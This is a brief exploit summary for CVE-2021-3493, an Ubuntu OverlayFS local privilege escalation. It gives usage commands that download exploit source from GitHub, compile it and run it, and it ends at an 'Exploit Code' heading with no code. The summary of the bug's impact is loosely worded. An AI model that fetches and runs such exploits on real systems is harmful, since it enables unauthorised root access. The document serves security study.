exploit

CVE-2021-3493 - Exploit Summary & Demo

CVE-2021-3493 - Exploit Summary & Demo

Summary

CVE-2021-3493 is a #linux-kernel exploit that basically takes vulnerable default configs for Ubuntu Linux kernels up to version 5.10 (Patched in 5.11) and gives access to the filesystem due to improper permission validation.

Usage

wget https://raw.githubusercontent.com/briskets/CVE-2021-3493/main/exploit.c -O overlayFS.c
gcc overlayFS.c -o overlayFS-Exploit
./overlayFS-Exploit

Demo

CVE-2021-3493 - Exploit Summary & Demo.gif

Demo of CVE-2021-3493 LPE

Patch

In Linux 5.11 the call to cap_convert_nscap was moved into vfs_setxattr

Exploit Code